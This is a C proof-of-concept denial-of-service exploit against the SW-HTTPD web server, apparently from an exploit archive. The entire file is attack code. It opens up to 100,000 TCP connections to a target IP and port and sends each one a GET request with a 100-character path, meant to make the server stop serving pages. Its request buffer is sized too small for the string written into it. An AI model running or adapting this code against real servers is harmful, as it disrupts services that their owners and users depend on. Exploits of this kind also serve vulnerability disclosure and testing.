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/*
SW-HTTPD Server v0.x Denial of Service (PoC)
Multiple Connections with GET /A[100] HTTP/1.1
After server not found all pages.
Author: Jonathan Salwan
Mail : submit [AT] shell-storm.org
Web : http://www.shell-storm.org
*/
#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"
int syntax(char *file)
{
fprintf(stderr,"SW-HTTPD Server Denial of Service (PoC)\n");
fprintf(stderr,"=>Syntax : <%s> <ip> <port>\n\n",file);
exit(0);
}
int main(int argc, char **argv)
{
if (argc < 2)
syntax(argv[0]);
int port = atoi(argv[2]);
int mysocket;
int mysocket2;
int srv_connect;
int sockaddr_long;
char hexa[100] = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";
struct sockaddr_in sockaddr_mysocket;
sockaddr_long = sizeof(sockaddr_mysocket);
sockaddr_mysocket.sin_family = AF_INET;
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
sockaddr_mysocket.sin_port = htons(port);
int i=0;
char request[118];
fprintf(stdout,"[+]SW-HTTPD Server %s\n",argv[1]);
for(i=0;i<100000;i++){
mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket2 == -1){
fprintf(stdout,"[+]Done!\n");
return 1;}
srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
if (srv_connect != -1)
{
sprintf(request, "GET /%s HTTP/1.1\r\n", hexa);
if (send(mysocket2,request,sizeof(request),0) == -1){
fprintf(stderr,"[-]Send Request\t\t[FAILED]\n");
shutdown(mysocket2,1);
fprintf(stdout,"[+]Done!\n");
return 1;}
}
else{
fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
fprintf(stdout,"[+]Done!\n");
shutdown(mysocket2,1);
return 1;}
shutdown(mysocket2,1);
}
return 0;
}
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